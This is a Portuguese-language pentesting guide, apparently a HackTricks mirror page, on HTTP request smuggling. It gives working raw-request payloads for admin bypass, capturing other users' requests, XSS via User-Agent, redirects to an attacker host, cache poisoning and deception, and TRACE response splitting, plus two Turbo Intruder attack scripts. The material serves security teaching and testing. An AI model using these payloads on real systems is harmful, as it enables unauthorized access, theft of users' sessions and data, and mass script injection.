Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 05:33:33 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling
History
Translator 45b19b92d9 Translated ['pentesting-web/http-connection-request-smuggling.md', 'pent
2024-03-25 01:49:08 +00:00
..
browser-http-request-smuggling.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-05 20:17:02 +00:00
README.md Translated ['pentesting-web/http-connection-request-smuggling.md', 'pent 2024-03-25 01:49:08 +00:00
request-smuggling-in-http-2-downgrades.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:09:41 +00:00

README.md

HTTP Request Smuggling / Ataque de Desincronização HTTP

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

O que é

Essa vulnerabilidade ocorre quando uma dessincronização entre proxies de front-end e o servidor de back-end permite que um atacante envie uma requisição HTTP que será interpretada como uma única requisição pelos proxies de front-end (balanceador de carga/proxy reverso) e como 2 requisições pelo servidor de back-end.
Isso permite que um usuário modifique a próxima requisição que chega ao servidor de back-end depois da dele.

Teoria

Especificação RFC (2161)

Se uma mensagem for recebida com um campo de cabeçalho Transfer-Encoding e um campo de cabeçalho Content-Length, este último DEVE ser ignorado.

Content-Length

O cabeçalho de entidade Content-Length indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário.

Transfer-Encoding: chunked

O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o corpo da carga útil para o usuário.
Chunked significa que dados grandes são enviados em uma série de chunks.

Realidade

O Front-End (um balanceador de carga / Proxy Reverso) processa o cabeçalho content-length ou o cabeçalho transfer-encoding e o servidor de Back-End processa o outro provocando uma dessincronização entre os 2 sistemas.
Isso pode ser muito crítico, pois um atacante poderá enviar uma requisição para o proxy reverso que será interpretada pelo servidor de back-end como 2 requisições diferentes. O perigo dessa técnica reside no fato de que o servidor de back-end interpretará a 2ª requisição injetada como se ela viesse do próximo cliente e a requisição real desse cliente fará parte da requisição injetada.

Particularidades

Lembre-se de que no HTTP um caractere de nova linha é composto por 2 bytes:

  • Content-Length: Esse cabeçalho usa um número decimal para indicar o número de bytes do corpo da requisição. O corpo é esperado para terminar no último caractere, uma nova linha não é necessária no final da requisição.
  • Transfer-Encoding: Esse cabeçalho usa no corpo um número hexadecimal para indicar o número de bytes do próximo chunk. O chunk deve terminar com uma nova linha, mas essa nova linha não é contada pelo indicador de comprimento. Esse método de transferência deve terminar com um chunk de tamanho 0 seguido por 2 novas linhas: 0
  • Connection: Com base em minha experiência, é recomendado usar Connection: keep-alive na primeira requisição do Request Smuggling.

Exemplos Básicos

{% hint style="success" %} Ao tentar explorar isso com o Burp Suite, desative Update Content-Length e Normalize HTTP/1 line endings no repeater porque alguns gadgets abusam de novas linhas, retornos de carro e comprimentos de conteúdo malformados. {% endhint %}

Os ataques de desincronização de requisição HTTP são elaborados enviando requisições ambíguas que exploram discrepâncias na forma como os servidores de front-end e back-end interpretam os cabeçalhos Content-Length (CL) e Transfer-Encoding (TE). Esses ataques podem se manifestar em diferentes formas, principalmente como CL.TE, TE.CL e TE.TE. Cada tipo representa uma combinação única de como os servidores de front-end e back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento das mesmas requisições pelos servidores de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.

Exemplos Básicos de Tipos de Vulnerabilidades

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Vulnerabilidade CL.TE (Content-Length usado pelo Front-End, Transfer-Encoding usado pelo Back-End)

  • Front-End (CL): Processa a requisição com base no cabeçalho Content-Length.
  • Back-End (TE): Processa a requisição com base no cabeçalho Transfer-Encoding.
  • Cenário de Ataque:
  • O atacante envia uma requisição onde o valor do cabeçalho Content-Length não corresponde ao comprimento real do conteúdo.
  • O servidor de front-end encaminha a requisição inteira para o back-end, com base no valor de Content-Length.
  • O servidor de back-end processa a requisição como chunked devido ao cabeçalho Transfer-Encoding: chunked, interpretando os dados restantes como uma requisição separada e subsequente.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Vulnerabilidade TE.CL (Transfer-Encoding usado pelo Front-End, Content-Length usado pelo Back-End)

  • Front-End (TE): Processa a requisição com base no cabeçalho Transfer-Encoding.
  • Back-End (CL): Processa a requisição com base no cabeçalho Content-Length.
  • Cenário de Ataque:
  • O atacante envia uma requisição chunked onde o tamanho do chunk (7b) e o comprimento real do conteúdo (Content-Length: 4) não se alinham.
  • O servidor de front-end, respeitando Transfer-Encoding, encaminha a requisição inteira para o back-end.
  • O servidor de back-end, respeitando Content-Length, processa apenas a parte inicial da requisição (7b bytes), deixando o restante como parte de uma subsequente requisição não intencional.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Vulnerabilidade TE.TE (Transfer-Encoding usado por ambos, com obfuscação)

  • Servidores: Ambos suportam Transfer-Encoding, mas um pode ser enganado para ignorá-lo através de obfuscação.
  • Cenário de Ataque:
  • O atacante envia uma solicitação com cabeçalhos de Transfer-Encoding obfuscados.
  • Dependendo de qual servidor (front-end ou back-end) falha em reconhecer a obfuscação, uma vulnerabilidade CL.TE ou TE.CL pode ser explorada.
  • A parte não processada da solicitação, conforme vista por um dos servidores, torna-se parte de uma solicitação subsequente, levando ao contrabando.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Cenário CL.CL (Content-Length usado por ambos, Front-End e Back-End):

  • Ambos os servidores processam a solicitação com base exclusivamente no cabeçalho Content-Length.
  • Este cenário geralmente não leva ao contrabando, pois há alinhamento na interpretação do comprimento da solicitação por ambos os servidores.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Solicitação Normal

Cenário CL != 0:

  • Refere-se a cenários em que o cabeçalho Content-Length está presente e tem um valor diferente de zero, indicando que o corpo da solicitação possui conteúdo.
  • É crucial para entender e elaborar ataques de contrabando, pois influencia como os servidores determinam o final de uma solicitação.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Corpo Não Vazio

Forçando via cabeçalhos hop-by-hop

Abusando dos cabeçalhos hop-by-hop, você poderia indicar ao proxy para excluir o cabeçalho Content-Length ou Transfer-Encoding para que um contrabando de solicitação HTTP seja possível de ser abusado.

Connection: Content-Length

Para mais informações sobre cabeçalhos hop-by-hop visite:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Encontrando HTTP Request Smuggling

A identificação de vulnerabilidades de HTTP request smuggling frequentemente pode ser alcançada utilizando técnicas de temporização, que dependem de observar quanto tempo o servidor leva para responder a solicitações manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:

Encontrando Vulnerabilidades CL.TE Usando Técnicas de Temporização

  • Método:
  • Enviar uma solicitação que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observação:
  • O servidor front-end processa a solicitação com base no Content-Length e interrompe a mensagem prematuramente.
  • O servidor back-end, esperando uma mensagem segmentada, aguarda o próximo segmento que nunca chega, causando um atraso.
  • Indicadores:
  • Timeouts ou longos atrasos na resposta.
  • Receber um erro 400 Bad Request do servidor back-end, às vezes com informações detalhadas do servidor.

Encontrando Vulnerabilidades TE.CL Usando Técnicas de Temporização

  • Método:
  • Enviar uma solicitação que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observação:
  • O servidor front-end processa a solicitação com base no Transfer-Encoding e encaminha a mensagem inteira.
  • O servidor back-end, esperando uma mensagem com base no Content-Length, aguarda por dados adicionais que nunca chegam, causando um atraso.

Outros Métodos para Encontrar Vulnerabilidades

  • Análise Diferencial de Resposta:
  • Enviar versões ligeiramente variadas de uma solicitação e observar se as respostas do servidor diferem de maneira inesperada, indicando uma discrepância na análise.
  • Usando Ferramentas Automatizadas:
  • Ferramentas como a extensão 'HTTP Request Smuggler' do Burp Suite podem testar automaticamente essas vulnerabilidades enviando várias formas de solicitações ambíguas e analisando as respostas.
  • Testes de Variação de Content-Length:
  • Enviar solicitações com valores de Content-Length variados que não estão alinhados com o comprimento real do conteúdo e observar como o servidor lida com tais discrepâncias.
  • Testes de Variação de Transfer-Encoding:
  • Enviar solicitações com cabeçalhos de Transfer-Encoding obfuscados ou malformados e monitorar como os servidores front-end e back-end respondem de maneira diferente a essas manipulações.

Testando a Vulnerabilidade de HTTP Request Smuggling

Após confirmar a eficácia das técnicas de temporização, é crucial verificar se as solicitações do cliente podem ser manipuladas. Um método direto é tentar envenenar suas solicitações, por exemplo, fazendo com que uma solicitação para / resulte em uma resposta 404. Os exemplos CL.TE e TE.CL discutidos anteriormente em Exemplos Básicos demonstram como envenenar a solicitação de um cliente para obter uma resposta 404, apesar do cliente tentar acessar um recurso diferente.

Considerações Importantes

Ao testar vulnerabilidades de request smuggling interferindo em outras solicitações, tenha em mente:

  • Conexões de Rede Distintas: As solicitações "de ataque" e "normais" devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade.
  • URL e Parâmetros Consistentes: Procure usar URLs e nomes de parâmetros idênticos para ambas as solicitações. Aplicações modernas frequentemente roteiam solicitações para servidores back-end específicos com base no URL e parâmetros. Correspondendo a esses aumenta a probabilidade de que ambas as solicitações sejam processadas pelo mesmo servidor, um requisito para um ataque bem-sucedido.
  • Temporização e Condições de Corrida: A solicitação "normal", destinada a detectar interferência da solicitação "de ataque", compete com outras solicitações de aplicativos concorrentes. Portanto, envie a solicitação "normal" imediatamente após a solicitação "de ataque". Aplicações ocupadas podem exigir várias tentativas para confirmar a vulnerabilidade de forma conclusiva.
  • Desafios de Balanceamento de Carga: Servidores front-end atuando como balanceadores de carga podem distribuir solicitações entre vários sistemas back-end. Se as solicitações "de ataque" e "normais" acabarem em sistemas diferentes, o ataque não terá sucesso. Este aspecto de balanceamento de carga pode exigir várias tentativas para confirmar uma vulnerabilidade.
  • Impacto Não Intencional no Usuário: Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" que você enviou para detecção), isso indica que seu ataque influenciou outro usuário do aplicativo. Testes contínuos podem perturbar outros usuários, exigindo uma abordagem cautelosa.

Abusando do HTTP Request Smuggling

Contornando a Segurança Front-End via HTTP Request Smuggling

Às vezes, proxies front-end aplicam medidas de segurança, analisando as solicitações recebidas. No entanto, essas medidas podem ser contornadas explorando o HTTP Request Smuggling, permitindo acesso não autorizado a endpoints restritos. Por exemplo, acessar /admin pode ser proibido externamente, com o proxy front-end bloqueando ativamente tais tentativas. No entanto, esse proxy pode negligenciar inspecionar solicitações incorporadas dentro de uma solicitação HTTP contrabandeada, deixando uma brecha para contornar essas restrições.

Considere os exemplos a seguir ilustrando como o HTTP Request Smuggling pode ser usado para contornar controles de segurança front-end, visando especificamente o caminho /admin que geralmente é protegido pelo proxy front-end:

Exemplo CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

No ataque CL.TE, o cabeçalho Content-Length é utilizado para a requisição inicial, enquanto a requisição embutida subsequente utiliza o cabeçalho Transfer-Encoding: chunked. O proxy de front-end processa a requisição POST inicial, mas falha em inspecionar a requisição GET /admin embutida, permitindo acesso não autorizado ao caminho /admin.

Exemplo TE.CL

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Por outro lado, no ataque TE.CL, o pedido POST inicial usa Transfer-Encoding: chunked, e o pedido incorporado subsequente é processado com base no cabeçalho Content-Length. Semelhante ao ataque CL.TE, o proxy de front-end ignora o pedido GET /admin contrabandeado, concedendo inadvertidamente acesso ao caminho restrito /admin.

Revelando a reescrita de solicitação de front-end

As aplicações frequentemente empregam um servidor de front-end para modificar solicitações recebidas antes de enviá-las ao servidor de back-end. Uma modificação típica envolve adicionar cabeçalhos, como X-Forwarded-For: <IP do cliente>, para transmitir o IP do cliente ao back-end. Compreender essas modificações pode ser crucial, pois pode revelar maneiras de burlar proteções ou descobrir informações ou endpoints ocultos.

Para investigar como um proxy altera uma solicitação, localize um parâmetro POST que o back-end ecoa na resposta. Em seguida, crie uma solicitação, usando este parâmetro por último, semelhante ao seguinte:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Nesta estrutura, os componentes de solicitação subsequentes são anexados após search=, que é o parâmetro refletido na resposta. Essa reflexão exporá os cabeçalhos da solicitação subsequente.

É importante alinhar o cabeçalho Content-Length da solicitação aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e aumentar gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a solicitação apresente erro.

Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a solicitação deve terminar com search=\r\n0. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.

Este método serve principalmente para entender as modificações de solicitação feitas pelo proxy de front-end, essencialmente realizando uma investigação autodirigida.

Capturando solicitações de outros usuários

É viável capturar as solicitações do próximo usuário anexando uma solicitação específica como o valor de um parâmetro durante uma operação POST. Veja como isso pode ser feito:

Ao anexar a seguinte solicitação como o valor de um parâmetro, você pode armazenar a solicitação do cliente subsequente:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Neste cenário, o parâmetro de comentário destina-se a armazenar o conteúdo dentro da seção de comentários de uma postagem em uma página de acesso público. Consequentemente, o conteúdo da solicitação subsequente aparecerá como um comentário.

No entanto, essa técnica tem limitações. Geralmente, ela captura dados apenas até o delimitador de parâmetro usado na solicitação contrabandeada. Para envios de formulários codificados em URL, esse delimitador é o caractere &. Isso significa que o conteúdo capturado da solicitação do usuário vítima será interrompido no primeiro &, que pode até fazer parte da string de consulta.

Além disso, vale ressaltar que essa abordagem também é viável com uma vulnerabilidade TE.CL. Em tais casos, a solicitação deve ser concluída com search=\r\n0. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.

Usando contrabando de solicitação HTTP para explorar XSS refletido

O Contrabando de Solicitação HTTP pode ser aproveitado para explorar páginas da web vulneráveis a XSS Refletido, oferecendo vantagens significativas:

  • A interação com os usuários-alvo não é necessária.
  • Permite a exploração de XSS em partes da solicitação que são normalmente inatingíveis, como os cabeçalhos de solicitação HTTP.

Em cenários em que um site é suscetível a XSS Refletido por meio do cabeçalho User-Agent, a carga útil a seguir demonstra como explorar essa vulnerabilidade:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Este payload é estruturado para explorar a vulnerabilidade da seguinte forma:

  1. Iniciando uma solicitação POST, aparentemente típica, com um cabeçalho Transfer-Encoding: chunked para indicar o início do smuggling.
  2. Seguindo com um 0, marcando o final do corpo da mensagem chunked.
  3. Em seguida, é introduzida uma solicitação GET contrabandeada, onde o cabeçalho User-Agent é injetado com um script, <script>alert(1)</script>, acionando o XSS quando o servidor processa essa solicitação subsequente.

Ao manipular o User-Agent através do smuggling, o payload contorna as restrições normais da solicitação, explorando assim a vulnerabilidade de XSS Refletido de uma maneira não convencional, mas eficaz.

Explorando Redirecionamentos no Local com HTTP Request Smuggling

As aplicações frequentemente redirecionam de uma URL para outra usando o nome do host do cabeçalho Host na URL de redirecionamento. Isso é comum em servidores web como Apache e IIS. Por exemplo, solicitar uma pasta sem uma barra final resulta em um redirecionamento para incluir a barra:

GET /home HTTP/1.1
Host: normal-website.com

Resultados em:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Embora aparentemente inofensivo, esse comportamento pode ser manipulado usando o smuggling de solicitação HTTP para redirecionar usuários para um site externo. Por exemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Esta solicitação contrabandeada poderia fazer com que a próxima solicitação de usuário processada seja redirecionada para um site controlado pelo atacante:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Resultados em:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Neste cenário, a solicitação de um usuário para um arquivo JavaScript é sequestrada. O atacante pode potencialmente comprometer o usuário servindo JavaScript malicioso em resposta.

Explorando a Poluição de Cache da Web via HTTP Request Smuggling

A poluição de cache da web pode ser executada se algum componente da infraestrutura de front-end armazenar em cache conteúdo, normalmente para melhorar o desempenho. Ao manipular a resposta do servidor, é possível poluir o cache.

Anteriormente, observamos como as respostas do servidor poderiam ser alteradas para retornar um erro 404 (consulte Exemplos Básicos). Da mesma forma, é viável enganar o servidor para entregar o conteúdo /index.html em resposta a uma solicitação para /static/include.js. Consequentemente, o conteúdo /static/include.js é substituído no cache pelo de /index.html, tornando o /static/include.js inacessível aos usuários, potencialmente levando a uma Negação de Serviço (DoS).

Essa técnica se torna particularmente potente se uma vulnerabilidade de Redirecionamento Aberto for descoberta ou se houver um redirecionamento no local para um redirecionamento aberto. Tais vulnerabilidades podem ser exploradas para substituir o conteúdo em cache de /static/include.js por um script sob o controle do atacante, essencialmente permitindo um ataque generalizado de Cross-Site Scripting (XSS) contra todos os clientes que solicitam o /static/include.js atualizado.

Abaixo está uma ilustração da exploração da poluição de cache combinada com um redirecionamento no local para um redirecionamento aberto. O objetivo é alterar o conteúdo em cache de /static/include.js para servir código JavaScript controlado pelo atacante:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Observe a solicitação incorporada direcionada para /post/next?postId=3. Esta solicitação será redirecionada para /post?postId=4, utilizando o valor do cabeçalho Host para determinar o domínio. Ao alterar o cabeçalho Host, o atacante pode redirecionar a solicitação para seu domínio (redirecionamento interno para redirecionamento aberto).

Após o envenenamento de soquete bem-sucedido, uma solicitação GET para /static/include.js deve ser iniciada. Esta solicitação será contaminada pela solicitação anterior de redirecionamento interno para redirecionamento aberto e buscará o conteúdo do script controlado pelo atacante.

Posteriormente, qualquer solicitação para /static/include.js servirá o conteúdo em cache do script do atacante, lançando efetivamente um amplo ataque XSS.

Usando o contrabando de solicitação HTTP para realizar a decepção de cache da web

Qual é a diferença entre envenenamento de cache da web e decepção de cache da web?

  • No envenenamento de cache da web, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação.
  • Na decepção de cache da web, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.

O atacante elabora uma solicitação contrabandeada que busca conteúdo sensível específico do usuário. Considere o exemplo a seguir:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Se essa solicitação contrabandeada envenenar uma entrada de cache destinada a conteúdo estático (por exemplo, /someimage.png), os dados sensíveis da vítima de /private/messages podem ser armazenados em cache sob a entrada de cache do conteúdo estático. Consequentemente, o atacante poderia potencialmente recuperar esses dados sensíveis armazenados em cache.

Abusando do TRACE via HTTP Request Smuggling

Neste post é sugerido que se o servidor tiver o método TRACE habilitado, poderia ser possível abusar dele com um HTTP Request Smuggling. Isso ocorre porque esse método refletirá qualquer cabeçalho enviado para o servidor como parte do corpo da resposta. Por exemplo:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Irá enviar uma resposta como:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Um exemplo de como abusar desse comportamento seria contrabandear primeiro uma solicitação HEAD. Esta solicitação será respondida apenas com os cabeçalhos de uma solicitação GET (Content-Type entre eles). E contrabandear imediatamente após o HEAD uma solicitação TRACE, que estará refletindo os dados enviados.
Como a resposta HEAD conterá um cabeçalho Content-Length, a resposta da solicitação TRACE será tratada como o corpo da resposta HEAD, refletindo assim dados arbitrários na resposta.
Essa resposta será enviada para a próxima solicitação pela conexão, então isso poderia ser usado em um arquivo JS em cache, por exemplo, para injetar código JS arbitrário.

Abusando do TRACE via Separação de Resposta HTTP

Continuar seguindo este post é sugerido como outra maneira de abusar do método TRACE. Como comentado, contrabandear uma solicitação HEAD e uma solicitação TRACE é possível controlar alguns dados refletidos na resposta à solicitação HEAD. O comprimento do corpo da solicitação HEAD é basicamente indicado no cabeçalho Content-Length e é formado pela resposta à solicitação TRACE.

Portanto, a nova ideia seria que, conhecendo este Content-Length e os dados fornecidos na resposta TRACE, é possível fazer com que a resposta TRACE contenha uma resposta HTTP válida após o último byte do Content-Length, permitindo que um atacante controle completamente a solicitação para a próxima resposta (que poderia ser usada para realizar um envenenamento de cache).

Exemplo:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Gerará essas respostas (observe como a resposta HEAD tem um Content-Length fazendo com que a resposta TRACE faça parte do corpo do HEAD e, uma vez que o Content-Length do HEAD termina, uma resposta HTTP válida é contrabandeada):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Armar HTTP Request Smuggling com Desincronização de Resposta HTTP

Você encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la. Experimente este outro método de exploração:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Outras Técnicas de HTTP Request Smuggling

  • HTTP Request Smuggling no Navegador (Lado do Cliente)

{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}

  • Request Smuggling em Downgrades HTTP/2

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}

Scripts do Turbo Intruder

CL.TE

De https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

De: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Ferramentas

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: